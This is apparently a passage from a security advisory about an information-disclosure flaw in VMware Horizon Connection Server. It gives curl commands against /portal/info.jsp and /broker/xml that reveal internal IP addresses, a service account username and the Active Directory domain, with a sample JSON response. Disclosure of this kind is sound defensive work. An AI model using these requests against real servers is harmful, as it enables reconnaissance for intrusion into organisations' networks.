Technical Details

The VMWare Horizon Connection Server exposes sensitive information via the portal and broker endpoints of the web server.

The portal application leaks the internal IP address of the Connection Server along with any additional X-Forwarded-For headers via the URL /portal/info.jsp:

$ curl https://host/portal/info.jsp

{"acceptLanguage":"en-US","clientVersion":"4.9.0","logLevel":"2","clientIPAddress":"192.168.0.12, 192.168.30.45","contextPath":"/portal","feature":{},"os":"unknown","installerLink":"https://www.vmware.com/go/viewclients"}

The broker endpoint exposes the service account username and Active Directory domain name in the get-configuration response:

$ curl -k -s -XPOST -H 'Content-Type: text/xml' https://host/broker/xml --data-binary $'<?xml version=\'1.0\' encoding=\'UTF-8\'?><broker version=\'10.0\'><get-configuration></get-configuration></broker>'
